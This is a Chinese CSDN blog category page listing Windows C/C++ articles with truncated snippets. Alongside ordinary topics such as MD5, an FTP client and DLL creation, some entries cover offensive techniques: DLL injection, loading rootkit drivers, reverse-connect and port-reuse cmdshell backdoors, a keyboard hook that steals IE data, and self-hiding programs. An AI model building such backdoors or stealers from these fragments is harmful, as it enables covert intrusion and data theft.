VS2010
文章平均质量分 81
feier7501
这个作者很懒,什么都没留下…
展开
-
NetScheduleJobAdd函数添加任务计划的方法
http://hi.baidu.com/forxuan/item/6d1f8317e5ebff5ef0090e0d//必须启动系统的Task Scheduler服务 #include "stdafx.h" #include #include #include #include #include #pragma comment(lib,"NET转载 2013-09-03 00:00:57 · 5421 阅读 · 1 评论 -
C++暂时关闭显示器
在VS2010新建win32空工程,加入C++代码:#include int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int原创 2013-08-18 15:40:08 · 2509 阅读 · 0 评论 -
C++弹出关闭光驱
VS2010新建win32空工程,加入C++代码:#include #include #pragma comment (lib, "Winmm")int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR l原创 2013-08-18 16:25:09 · 1926 阅读 · 0 评论 -
C++实现随机数
random.h:#ifndef __RANDOM_H__#define __RANDOM_H__void init_random();int brandom(int bottom,int top);int brandom_100(int bottom,int top);int get_random_number(int range);#endif // __RANDOM_H_原创 2013-08-29 21:47:52 · 853 阅读 · 0 评论 -
C++单实例——节
VS2010新建win32空工程,加入C++代码:#include #pragma data_seg("Shared") //创建新节int volatile g_lAppInstance =0; //必须有初示化 #pragma data_seg() //结束#原创 2013-08-18 17:05:34 · 809 阅读 · 0 评论 -
C++隐藏任务栏和桌面
VS2010新建控制台空工程,加入C++代码:#include #include int main(int argc, char* argv[]){ HWND disk,mask; disk=FindWindow(L"ProgMan",NULL); mask=FindWindow(L"Shell_TrayWnd",NULL); ShowWindow(mask,SW_HIDE);原创 2013-08-18 16:38:27 · 7640 阅读 · 1 评论 -
C++命名空间实现MD5加密
采用namespace。VS2010新建控制台空项目,加入下面的代码:global.h:/* GLOBAL.H - RSAREF types and constants /* Copyright (C) RSA Laboratories, a division of RSA Data Security, Inc., created 1991. All rights reser原创 2013-08-28 22:17:17 · 1483 阅读 · 0 评论 -
C++实现Sapphire加密
VS2010新建控制台空项目,加入下面的代码:CSapphire.h:#ifndef __CSAPPHIRE_H__#define __CSAPPHIRE_H__class CSapphire {public: CSapphire(unsigned char *key = 0, unsigned char keysize = 0); // Calls initialize原创 2013-08-28 21:20:03 · 933 阅读 · 0 评论 -
C语言实现ftp客户端
在VS2010新建win32控制台空项目,加入下面代码:ftplib.h:/***************************************************************************//* *//* ftplib.h - header file for callable ftp access routines原创 2013-08-27 22:50:41 · 22707 阅读 · 6 评论 -
用telnet来发邮件并用C语言实现
过程如下:220 hz-b-126smtp1.126.com SMTP Server for Netease [466] e8241e55-7706-40c6-86bc-145helo smtp.126.com250 hz-b-126smtp1.126.com e8241e55-7706-40c6-86bc-14581e3c9753auth login //登录334 VXNlcm5h原创 2013-08-26 22:40:02 · 3896 阅读 · 0 评论 -
C语言实现MD5算法
md5.h:/* ********************************************************************** ** md5.h -- Header file for implementation of MD5 ** ** RSA Data Security, Inc. MD5 Message Diges原创 2013-08-25 21:06:12 · 13637 阅读 · 3 评论 -
C语言的函数返回值所存放的寄存器
#include int add(int a, int b){ return a + b;}int asm_compare_one(int a){ _asm { mov edx, a cmp edx, 1 je val1 xor eax,eax jmp val0val1: mov eax, 1val0: } //eax中存放返回值}int m原创 2013-08-24 21:59:26 · 8427 阅读 · 0 评论 -
VS2010创建、调用动态链接库
先新建DLL项目:然后新建dll.h和dll.cpp。dll.h:#ifndef DLL_H#define DLL_Hextern "C" int __declspec(dllexport)add(int a, int b);#endifdll.cpp:#include "dll.h"int add(int a, int b){原创 2013-07-20 15:37:47 · 757 阅读 · 0 评论 -
DLL注入
源代码如下:#include #include #include #include DWORD GetTargetProcessID(const char *processExeName){ if (processExeName == NULL) { return FALSE; } HANDLE hSnapshot; hSnapshot = CreateToolhe原创 2013-07-20 18:09:17 · 985 阅读 · 0 评论 -
C++解析域名
主要代码如下:#include "CDNS.h"#include "random.h"#include "CString.h"#include #include #include #pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "Dnsapi.lib")CDNS::CDNS() { m_bSockInited原创 2013-08-29 23:04:06 · 3675 阅读 · 1 评论 -
C++创建lnk
#include #include #include static HRESULT CreateLink(TCHAR *lpszPathObj, TCHAR *lpszPathLink) { HRESULT hres; IShellLink* psl; // Get a pointer to the IShellLink interface. It is原创 2013-09-05 23:29:20 · 2021 阅读 · 0 评论 -
用c++实现对可执行程序的图标修改
http://blog.sina.com.cn/s/blog_406be8d10100l963.html#include #include #include struct ICONDIRENTRY { BYTE bWidth; BYTE bHeight; BYTE bColorCount; BYTE bReserved; WORD wPlanes; WORD wBitC转载 2013-09-04 08:09:48 · 6001 阅读 · 1 评论 -
C++服务加载rootkit驱动
如何加载rootkit驱动,可以使用OSRLOADER.exe,也可以自己写个C++的程序来加载,代码如下:#include #include #include #include TCHAR g_szServiceName[100];BOOL GetSysDriverName(const TCHAR *lpszSysDriverPath){ if (!lpszSysDrive原创 2013-09-08 21:39:45 · 1898 阅读 · 1 评论 -
C++安装、卸载、运行windows service
按照自己的理解,重新实现了一下,代码如下:#include #include #include #define SERVICE_NAME TEXT("system2")SERVICE_STATUS g_status;SERVICE_STATUS_HANDLE g_ServiceStatusHandle;BOOL InstallService() { SC_HANDLE hS原创 2013-07-19 22:04:54 · 5353 阅读 · 1 评论 -
regsvr32找不到指定的模块
---------------------------RegSvr32---------------------------LoadLibrary("HelloWorld.dll") 失败 - 找不到指定的模块。---------------------------确定 ---------------------------找到VC6的目录,进入C:\Program原创 2013-09-07 23:19:20 · 35420 阅读 · 0 评论 -
文件读写rootkit
mydriver2.c:#include "ntddk.h"VOID CleanUp(IN PDRIVER_OBJECT pDriverObject){ DbgPrint("my second driver's cleanUp routine called");}NTSTATUS OpenFunction(IN PDEVICE_OBJECT DeviceObject, IN PI原创 2013-09-08 17:38:35 · 782 阅读 · 0 评论 -
windows socket编程:select 用法 例子
http://blog.csdn.net/zjsiva/article/details/5895087#include #include #include #pragma comment(lib,"ws2_32.lib") #define INT_SERVER_PORT 5000 #define STR_SERVER_IP "127.0.0.1转载 2013-09-01 22:12:40 · 10227 阅读 · 1 评论 -
C++开发BHO之HelloWorld
原文:http://msdn.microsoft.com/en-us/library/bb250489(v=vs.85).aspx开发工具VS2010。步骤如图:生成的HelloWorldBHO.h的代码如下原创 2013-09-06 22:22:58 · 10405 阅读 · 2 评论 -
修改BHO的版本号公司名等
在VS2010里,有rc文件,只需要用记事本等文本编辑器打开rc文件,就可以修改了,例如:// Microsoft Visual C++ generated resource script.//#include "resource.h"#define APSTUDIO_READONLY_SYMBOLS//////////////////////////////////////原创 2013-09-07 15:05:55 · 1668 阅读 · 0 评论 -
C++隐藏自身
#include #include #define SZBUFFER_SIZE 1024int main(){ TCHAR szBuffer[SZBUFFER_SIZE]; GetConsoleTitle(szBuffer, sizeof(szBuffer)); ShowWindow(FindWindow(NULL, szBuffer), SW_HIDE); Sleep(500原创 2013-09-01 17:30:55 · 1639 阅读 · 0 评论 -
反向连接打开cmdshell
源代码:#include #include #pragma comment(lib,"Ws2_32") #define LISTEN_PORT 9090int main() { WSADATA ws; SOCKET listenFD; int ret; WSAStartup(MAKEWORD(2, 2), &ws); listenFD = WSASocket(AF_IN原创 2013-07-22 22:22:13 · 1084 阅读 · 0 评论 -
C++遍历目录
VS2010控制台:#include #include #include #include void Traversal(const TCHAR *lpszPath, BOOL bRecursive){ WIN32_FIND_DATA ffd; LARGE_INTEGER filesize; HANDLE hFind = INVALID_HANDLE_VALUE; TC原创 2013-09-06 19:52:17 · 2254 阅读 · 0 评论 -
C++获得系统路径
源代码:#include #include #include int main(){ setlocale(LC_ALL, "chs"); TCHAR szPath[MAX_PATH]; int CSIDL[] = { CSIDL_ADMINTOOLS, CSIDL_APPDATA, CSIDL_CDBURN_AREA, CSIDL_COMMON_ADMINTOOLS原创 2013-09-06 00:16:54 · 9742 阅读 · 0 评论 -
C++解析lnk
源代码:#include #include #include #include #include #include #include #include #include #pragma comment(lib, "Shlwapi.lib")static HRESULT ResolveIt(HWND hwnd, TCHAR *lpszLinkFile, TCHAR *lp原创 2013-09-05 08:22:41 · 1974 阅读 · 0 评论 -
DLL注入notepad.exe
新建一个dll的工程,但是不要选择空项目,这样会自动生成一些简单的.h和.cpp文件,我这里自动生成了stdafx.h、targetver.h、dllmain.cpp、simple_dll.cpp、stdafx.cpp,修改dllmain.cpp,修改为:// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"#include原创 2013-07-20 21:42:48 · 3921 阅读 · 1 评论 -
VS2010创建、调用静态链接库
先创建静态链接库的工程:这样就创建了静态链接库的工程。然后,新建.h文件和.cpp文件:static.h:#ifndef STATIC_H#define STATIC_Hextern "C" int add(int a, int b);#endifstatic.cpp:#include "static.h"int add原创 2013-07-20 15:06:07 · 1340 阅读 · 0 评论 -
C语言内嵌汇编语言
代码如下:#include int abs(int i){ _asm mov eax, i; _asm or eax, eax; _asm jge EXIT; _asm neg eax; _asm mov i, eax;EXIT: return i;}int abs2(int i){ _asm { mov eax, i;原创 2013-08-24 17:50:00 · 1371 阅读 · 0 评论 -
C++钩子技术窃取IE数据
先生成dllktr.h代码:#ifndef KTR_H#define KTR_H#include extern "C" void __declspec(dllexport) SetKbHook();extern "C" void __declspec(dllexport) RemoveKbHook();#endifktr.cpp:#include "ktr.h"#i原创 2013-07-23 21:54:25 · 1663 阅读 · 0 评论 -
端口重用打开cmdshell
要重用的端口是tomcat的默认http端口8080。源代码:#include #pragma comment(lib, "ws2_32.lib")#define LISTEN_PORT 8080int main() { WSADATA ws; SOCKET listenFD; WSAStartup(MAKEWORD(2, 2), &ws); listenFD = WSA原创 2013-07-22 23:15:43 · 821 阅读 · 0 评论 -
双管道打开cmdshell
源代码如下:#include #include #include #pragma comment(lib,"Ws2_32") #define SZBUFFER_SIZE 1024#define LST_PORT 9090SOCKET InitializeServer(VOID) { WORD version = MAKEWORD(2, 2); WSADATA wsaDat原创 2013-07-21 23:41:10 · 1068 阅读 · 0 评论 -
进程通信之二 管道技术第二篇 匿名管道
http://blog.csdn.net/morewindows/article/details/7390441计算机中管道pipe类似于现实世界中的水管道,在一端放入水流,另一端就会流出来。在计算机机中水流自然被数据流所代替了。计算机中管道分为匿名管道和命名管道,本篇将主要介绍用匿名管道来完成这一重定向输出任务,命名管道就留给下一篇来介绍了。先来看看如何创建和使用匿名转载 2013-07-21 18:09:52 · 691 阅读 · 0 评论 -
windows驱动开发环境搭建
下载WDK,我是在http://www.microsoft.com/en-us/download/details.aspx?id=11800下载的,版本7.1.0。下载Visual DDK,下载地址:http://visualddk.sysprogs.org/download/先安装WDK,然后安装Visual DDK,都直接点下一步就可以了,没有特别设置。安装好后,打原创 2013-07-20 23:43:43 · 817 阅读 · 0 评论 -
windows xp 驱动开发(三)DDK与WDK WDM的区别
http://blog.csdn.net/chenyujing1234/article/details/7565429最近尝试去了解WINDOWS下的驱动开发,现在总结一下最近看到的资料。 1.首先,先从基础的东西说起,开发WINDOWS下的驱动程序,需要一个专门的开发包,如:开发JAVA程序,我们可能需要一个JDK,开发WINDOWS应用程序,我们需要WINDOWS转载 2013-07-20 21:57:17 · 1129 阅读 · 0 评论 -
vc++ 编写Windows服务 1053错误
http://xk861119.blog.163.com/blog/static/16327042010109102237317/建立一个服务程序的最简单的方法是用VC中的ATL COM向导。主菜单中选择新建,然后选Projects中的ATL COM AppWizard,输入一个项目名,选择了所在目录后,点OK按钮,在出现的对话框中选择Service(EXE),点Finish即转载 2013-07-18 23:51:06 · 5230 阅读 · 2 评论 -
启动windows服务成功
这两天一直在学习windows服务的知识,书上的和网上的程序,可以成功安装服务,但是无法启动,会出现1053的错误:错误 1053: 服务没有及时响应启动或控制请求。一直百度、谷歌,没找到什么解决办法。还怀疑是不是SDK的问题。先是装的VS2010,然后装了VC6,还是不行。一直在网上找答案。然后直接搜可以用的源代码,想不到还要翻墙出去找。你说怎么那么麻烦。可是,总算找到一个可以用的,原创 2013-07-19 18:46:43 · 977 阅读 · 0 评论